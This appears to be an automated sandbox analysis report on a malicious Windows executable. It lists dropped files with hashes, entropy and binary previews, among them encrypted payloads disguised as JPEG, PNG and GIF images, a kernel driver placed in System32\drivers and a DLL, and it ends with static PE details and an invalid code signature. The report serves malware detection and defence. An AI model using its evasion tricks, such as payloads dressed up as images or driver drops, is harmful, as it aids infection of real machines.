Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE.................IZ....OQPSS.U.WX..[..&6.ab.)eLghibkinoouqrsuuvw2zy{}}~.............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\c[1].gif

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	10681
Entropy (8bit):	7.866148090449211
Encrypted:	false
SSDEEP:	192:fN3El4oBtN9pmD65VoeotpeGy/nmgVtKFbM/PvMZ5ZWtZl4EehHGXI9Fch5:fN3E7NW27oJWJ+M/8ZCDuEe2I9FS5
MD5:	10A818386411EE834D99AE6B7B68BE71
SHA1:	27644B42B02F00E772DCCB8D3E5C6976C4A02386
SHA-256:	7545AC54F4BDFE8A9A271D30A233F8717CA692A6797CA775DE1B7D3EAAB1E066
SHA-512:	BDC5F1C9A78CA677D8B7AFA2C2F0DE95337C5850F794B66D42CAE6641EF1F8D24D0F0E98D295F35E71EBE60760AD17DA1F682472D7E4F61613441119484EFB8F
Malicious:	false
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\drops[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37274
Entropy (8bit):	7.991781062764932
Encrypted:	true
SSDEEP:	768:6uBASoT9gu8yCOpS/DCNuoaa7SOjrX+ACdA7EtGKDRklnvga371DNpnN7s:fGSfyxENa7ZCRtxylnvgAVNI
MD5:	6D4DEB9526F3973DE0F9DCE9392F8EA7
SHA1:	520128FB9BAB7064BEA992E4427B924073E58C0E
SHA-256:	B415D73DC6CBEEE59736ADD1AF397B6982BDB2B3A9E994797EE6AF5979E58FD1
SHA-512:	F07E0DAEEE5C54BC8DB462630F46A339D9ED0AF346BAB113B4EC7FD2BC463AFC04CBD0FDFC8D9F54528B7127AA7735575A255B85F2D0B3CCD518FC5DC39BA447
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\f[1].dat

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.5851931774575325
Encrypted:	false
SSDEEP:	6:JRSscjAQ7F3Y+ZcRC60rdimzYFAQT7LE/o2xjC:fSscjHRY+ZcRAdimzo/OY
MD5:	E54C4296F011EC91D935AA353C936E34
SHA1:	53A3313D40696E87C9B8CE2BE7E67BE49DD34C20
SHA-256:	81FF16AEDF9C5225CE8A03C0608CC3EA417795D98345699F2C240A0D67C6C33D
SHA-512:	5D1FBA60BE82A33341E5B9E7D3C1E7B0DCC9A41B4C1F97F2930141A808D62AF56D8697CB0D2FD4894A6080DF98A3E4EEF9D98A6003C292C588F547E1C6F84DE1
Malicious:	false
Preview:	.V.Wf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW11111111111111111111.BTE5k1=I=======.NXI9g%&A&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GBl(2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%MQQU&ozzHH..9xddI..I!('.TFA[u:72KG\Q".2>S.xq<\D@n0'''''''''''''''''''''''''''''OSSW$mxxJJ..;zffK..K#%,VDCYw850IE^S }0<Q.zs>^FAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&NRRV%lyyKK..:{ggJ..J"+$-WEBXv941HD_R!\|1=P.{r?_GAo+1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&....&&&&....&&&&....&&&9\A\999999999999999999999M[ZV$3e.-goooooooooooooooooooooooooooooooooooooo...A23"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45(-^.[N6><!K!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-50[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	55085
Entropy (8bit):	7.99273647746538
Encrypted:	true
SSDEEP:	1536:puwkqL5y4p4KnRWlENc3PGdLLv/PJctIJPc+pifyC:kQM4+B/MLL/PmaG
MD5:	DC44AE348E6A74B3A74871020FDFAC74
SHA1:	B223020A5F82FF15FD5E4930477F38F34C9CB919
SHA-256:	48F258037BE0FFE663DA3BCD47DBA22094CC31940083D9E18A71882BDC1ECDB8
SHA-512:	5FB13A8CE2206119C76325504DEF61D4277A73D71D79157AE564F326D6FC18080218633CE7C708F31A81D6CD1A5AD8A903CFE1CC0C57183B4809A9C12E32A429
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~..a.....=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\FOM-51[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	4859125
Entropy (8bit):	7.999956261017207
Encrypted:	true
SSDEEP:	98304:iwS8fBFQmSDP3eB/FsE7wRnIdq//xvpY/gMQ+nQxcweXxpuQ6SutPQNCG0o:iwSgTQfFAwdCqRvpk5QvxcwgXMSutTo
MD5:	EE6CA3EEA7F9B1C81059AEF570A28C02
SHA1:	14EFBF498356644D9B1327407E3F03E1BFBEA363
SHA-256:	A2065EA035C4E391C0FD897A932DCFF34D2CCD34579844C732F3577BC443B196
SHA-512:	563E7D7AB4A94505F1EFA5931F685A45D89CCB27A97593BF69C668AAA747C9511C8BE2AADA2E4DF3E9AB02559B564C699A8A9501B70420FAC3556758E29478D5
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\a[1].gif

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	135589
Entropy (8bit):	7.995304392539578
Encrypted:	true
SSDEEP:	3072:CQFCJFvegK8iS+UKaskx87eJd0Cn/zUR7Tq:CKwvehSbsY8anIde
MD5:	0DDD3F02B74B01D739C45956D8FD12B7
SHA1:	561836F6228E24180238DF9456707A2443C5795C
SHA-256:	2D3C7FBB4FBA459808F20FDC293CDC09951110302111526BC467F84A6F82F8F6
SHA-512:	0D6A7700FA1B8600CAE7163EFFCD35F97B73018ECB9A17821A690C179155199689D899F8DCAD9774F486C9F28F4D127BFCA47E6D88CC72FB2CDA32F7F3D90238
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\drops[1].jpg

Download File

Process:	C:\Users\user\Documents\ocGsp4.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37274
Entropy (8bit):	7.991781062764932
Encrypted:	true
SSDEEP:	768:6uBASoT9gu8yCOpS/DCNuoaa7SOjrX+ACdA7EtGKDRklnvga371DNpnN7s:fGSfyxENa7ZCRtxylnvgAVNI
MD5:	6D4DEB9526F3973DE0F9DCE9392F8EA7
SHA1:	520128FB9BAB7064BEA992E4427B924073E58C0E
SHA-256:	B415D73DC6CBEEE59736ADD1AF397B6982BDB2B3A9E994797EE6AF5979E58FD1
SHA-512:	F07E0DAEEE5C54BC8DB462630F46A339D9ED0AF346BAB113B4EC7FD2BC463AFC04CBD0FDFC8D9F54528B7127AA7735575A255B85F2D0B3CCD518FC5DC39BA447
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\s[1].dat

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	data
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	7.711603825663105
Encrypted:	false
SSDEEP:	384:9vegCRh1vC6FvsdvaUv2rywX0IK+H8Ku7jVolZ7XRJsKYkGDfRRX5qSgUWCHopQ/:M5F1FUdy422IK+gAZt2i0YPpQn4GMA
MD5:	3959C4532ECC81F0D48C1658972D0CA1
SHA1:	FFCAA1D06D526362CBD50350597D6929A391096B
SHA-256:	CB9C37653C8A6F0BD12250EE78E899F65E4209067F3898C62FA14F49AB91572D
SHA-512:	38026CFC8B69BD9832A20FF0BADC5B7565C3B2E7FC2B83A073D487A7A0ABD472C58516310F512429D80B220647104AD9A9EBD8F5BF6E0C26E2A510268F39CE20
Malicious:	false
Preview:	..(.........GG..............................................P..........{Z.z7..c_6,./]@H]<0}>_PPQ%q34.FAZz34z>5)Z75>?.225.5555555..G\.@f.z\.@f.{\.@f...\.@f...\.@f...\.@f...\.@f...\.@f...\.@f4......4444444444444444444444444dq44P.<4.g.bbbbbbbbb.b@bi`kbbXbbbpbbbbbb..bbbrbbbbcbbbbbbrbbb`bbdbcbdbcbdbcbbbbbb.bbbfbb..bbcbbbbbfbbbbbbrbbbbbbbbrbbbbbbrbbbbbbbbbbrbbbbbbbbbbbr.bbJbbbb.bb.abbb.bb.cbbb2bb.\|bbb.bb&bbb.#bb~bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"bb.cbbbbbbbbbbbbbbbbbbbbbbbbbbL...n....6.......4..................:..r\...gr.......S.......!..............S..[u?:/N////-///.///-///.//////////////o//......"............................................................................?.........................]s/./L///.,///.///+///e//////////////o//mC...nb...............O..............A..CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

C:\Users\user\Documents\MsMpList.dat

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3889557
Entropy (8bit):	7.999938754495546
Encrypted:	true
SSDEEP:	98304:PAnkiLOZS/hpXbdHpPcG59BO8NQXIeXXv5L4f2fN3yQWF+A:IndLOZS/DtpPJRO8OHBL4f2UQI+A
MD5:	ECE6FB407530E6CE66A4F86B39B4DDC5
SHA1:	EF8A0B84639173E7190F6C3ED71B4EE0F8721DE5
SHA-256:	9DFB14C4CB1A1C348FA8CC0890A79CFC6E7AD529B6E32AB3C3BDC5BB4407F1A9
SHA-512:	8CD23B442B133C17E41F3C32C0851676FFDC9B8DEBF2D6B1B65E62FC4E93C71D06FD86F59E50E754FC7DD187B24FC0DCFB78B9753A03DAD44FAF182F938F30A2
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\Documents\WordpadFilter.db

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	GIF image data, version 89a, 10 x 10
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	7.978971345776604
Encrypted:	false
SSDEEP:	192:FBue6hKvTlByz2GqpoPTgyXrByFCt4lXp9tyey2Q0l:FBuNhyTlBU2dp+1XrBuCgp9vU0l
MD5:	35717F8E6F84DC6F793294420609316A
SHA1:	6D97924759CECFAA1549E9E0232F08BA8D0290DF
SHA-256:	2E6B976E8BE23F095C6BB5B1B0DA9DBD3BBA86E90150A3977B26CC3FD271818F
SHA-512:	1B98E1ABA27DE1D77A4F3E4196C370FD23F51F22DB20290CEF994953819393A5EC99B7F2F74967E23A168AD5090F1A3122BB9D535190D45D6422D66FF794D8A4
Malicious:	false
Preview:	GIF89a.......,.p.........;.;G_fx5.#DV..g..}A/...l=.2......'o...!.....e.,t..o8.^...B^x..6IX.DC.Oa..../_...n$_.y..+jb..r...Y4/Rv.....(;....$...g..........~.IN ...-<R7....eZ..q4.....~...}....~t<......\|}....x.)U3.`U..s....W..WY..w+o-[..{..l..i`.:.......L'.>...$. .a.x.2#y_(9....d,....=n...%...c.........dq.nfLI....!1..2...`.,...~....)w.5E 1.V...0."...cu...p........^\|@.-w..+...M.(.GK.y}.N.........}.....-..e.......X...GE.\|.-._..*.M.....Mc........9/..fQ.Z.....W.....s...........k?C.q.u.-...Q..."..kt..A..128.......7#...~....1.`..:C.(.C.<y.(..<..'..+.!&.....r..I.....d...W.....-.'.Ec`Nv.8).....!....?.....\..N.3..D...U.....(..#sdY..D"...p.>.W.Q...}.. ..2.A('Q\_y...\|..Az..JO.B.A..Q05.)..Q..zd..V..l......S.....dS.x....z^..z...).a.....4.G..........M.,..a..U...\....G...$...Q.7...@.x...x.s..R..0.-3...).x.D..f.I..n.....}..{.p.q.%,.lF.f.Up..UM..Y..1............R.....F.._....Y..u...e^.c...f.'..U.W1g..e#J...Z.W.....w.[...........R.?.m......"@.f..V..fxI

C:\Users\user\Documents\ocGsp4.exe

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133136
Entropy (8bit):	6.350273548571922
Encrypted:	false
SSDEEP:	3072:NtmH5WKiSogv0HSCcTwk7ZaxbXq+d1ftrt+armpQowbFqD:NYZEHG0yfTPFas+dZZrL9MD
MD5:	D3709B25AFD8AC9B63CBD4E1E1D962B9
SHA1:	6281A108C7077B198241159C632749EEC5E0ECA8
SHA-256:	D2537DC4944653EFCD48DE73961034CFD64FB7C8E1BA631A88BBA62CCCC11948
SHA-512:	625F46D37BCA0F2505F46D64E7706C27D6448B213FE8D675AD6DF1D994A87E9CEECD7FB0DEFF35FDDD87805074E3920444700F70B943FAB819770D66D9E6B7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.E.7w+.7w+.7w+...V.?w+...E..w+...F.Qw+...P.5w+.>...>w+.7w..w+...Y.>w+...W.6w+...S.6w+.Rich7w+.........PE..d...Kd.]..........#................P].........@............................................................................................,...x...............,........H...........D...............................................@..@............................text...)......................... ..`.rdata..x_...@...`..................@..@.data....:..........................@....pdata..,...........................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\vselog.dll

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.00205770899153
Encrypted:	false
SSDEEP:	1536:Jd4E7qItA4nbQ0R3rh4Q8/0fp0uQ4S8S7YDLbnTPtrTzvesW7dj9dl4Cp52FF:Jf7qG3Gyp0p4ZmGLbTPJT7y7aCp5gF
MD5:	4C68C2BD2AEBB85E0424F86F5AAAB46B
SHA1:	3817103AF85C0A23230A261D55D5D13E7435202B
SHA-256:	5961049124D34528AF20C3759F2A34D43254A85F3034AF78EB0847E4584361CA
SHA-512:	EC678F7FA1F89F63FC2341DED77A862DC02204BC0DED67B26A1B22AF6A7E925B01CE7F45902C6BA0F8305204B229326F65FCFB11556D2750E7D02BBFB66237A7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... .E .E .Ek..D%.Ek..D..Ek..D*.E0N.D).E0N.D..E0N.D..Ek..D#.E .EB.EhO.D!.EhO.D!.EhOHE!.E . E!.EhO.D!.ERich .E........PE..d....w.g.........." ...).....................................................0............`.........................................`...........(.......H.................... ..x... ...8...............................@............ ...............................text............................... ..`.rdata....... ......................@..@.data...0...........................@....pdata..............................@..@.rsrc...H...........................@..@.reloc..x.... ......................@..B........................................................................................................................................................................................................................................

C:\Windows\System32\drivers\189atohci.sys

Download File

Process:	C:\Users\user\Desktop\153776434-874356550.05.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	6.229141876929412
Encrypted:	false
SSDEEP:	384:X3YUY30d1Kgf4AtcTmwZ/22a97C5ohYh3IB96Oys2+l0skiM0HMFrba8no0ceD/s:XOUkgfdZ9pRyv+uPzCMHo3q4tDgh6
MD5:	7F48317DFCF35A249224D092693ED5AE
SHA1:	4518A068E95F346830649CAC2B10CAF66CE1EB76
SHA-256:	A86816978A168C9508914F0A4C86F74DE3B6FCE32559BC4043201B964260D1DC
SHA-512:	660146B2AC32D150341931DE231257BC5069E29CBC87E51786119CDEC5A835C01E4E9FE8A539C08572C2C0A453D870536811AB268AFC2DE596259F6EA2BD0BC9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ri...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:Rich...:........................PE..d....S.V.........."......:..........l...........................................................................................................(............`.......P..p.......D....A...............................................@...............................text....,.......................... ..h.rdata.......@.......2..............@..H.data........P.......:..............@....pdata.......`.......<..............@..HPAGE....l....p.......>.............. ..`INIT.................@.............. ....rsrc................J..............@..B.reloc...............N..............@..B........................................................................................................................................................................................

C:\xxxx.ini

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:y:y
MD5:	81051BCC2CF1BEDF378224B0A93E2877
SHA1:	BA8AB5A0280B953AA97435FF8946CBCBB2755A27
SHA-256:	7EB70257593DA06F682A3DDDA54A9D260D4FC514F645237F5CA74B08F8DA61A6
SHA-512:	1B302A2F1E624A5FB5AD94DDC4E5F8BFD74D26FA37512D0E5FACE303D8C40EEE0D0FFA3649F5DA43F439914D128166CB6C4774A7CAA3B174D7535451EB697B5D
Malicious:	false
Preview:	..

\Device\Mup\localhost\pipe\atsvc

Download File

Process:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	297
Entropy (8bit):	4.448831746760626
Encrypted:	false
SSDEEP:	3:ri9K0/ldl//lll1siQg4d1ywsiQI5kZt8jtl/zi8tkHsl8/lP92lU8IAuUWKznlG:ri9TDTwPYtyjtOsNaG4oiNrF
MD5:	5E35CFC390F05ED266FC49F5EECBA5B5
SHA1:	E30130918CAC2875A29C93145C2AD19343CA8062
SHA-256:	F9A5558C1769282AAD7F475EE70987B6B048BC804E82B2FE52B8C87A67DAE95B
SHA-512:	54E2BD22717D1F840D1F81D5C0301092F19D7CE836D988A68019F50150C5DDC181941F168F3C8F996AC51B8F67E9263365AFEFC7A907333B99FE86290B0002E7
Malicious:	false
Preview:	..........9.....................IY..D@.$.621.......]..........+.H`........IY..D@.$.621......,..l..@E....................NTLMSSP.............0.......(.....aJ....user-PCWORKGROUP........t.X.................NTLMSSP.........X.......X.......X.......X.......X.......X...5....aJ.....T!.F...A..G`b.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	0.09188361914162535
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	153776434-874356550.05.exe
File size:	30'912'720 bytes
MD5:	3507cab36b2aa201dad19d45e54536e3
SHA1:	82eb43bb4cef50507da337c960d31a41739b6426
SHA256:	7810c7f09309c58591406a9e7bb174cb48a0f8493102bd19ab3b3fecdb8f68f1
SHA512:	fe865cd63dbfae5f6468e7c67e6e1e4e80ed8d2e962074240c8b0b7f69ef67f1e547f55c63c9f7e9497b4d88f9e6ec091606a3d0e42d9633f422787ee555ed9d
SSDEEP:	3072:cHVt/cvu9iKFd6uhGgocPUin6ZrmvWUh8p+bZxXj1CRrR/eVEr:iVqM7FddIuzMp+jIRrp
TLSH:	E667494762A024E4E1729678C76D95139B71BCF54F309B9F02207D46FE32690BE39BE2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z...>...>...>.....=.:.....?.F.....>.3.......9.......".......,....f..7...>...........<.....3.?.......?...Rich>..................

File Icon


Icon Hash:	0cb9a9b96969b04c

Static PE Info

General

Entrypoint:	0x140005388
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x5994ECCD [Thu Aug 17 01:09:33 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	f2089ac1bb8ce9be1cefa350d1eaf038

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/04/2019 01:00:00 21/05/2022 00:59:59
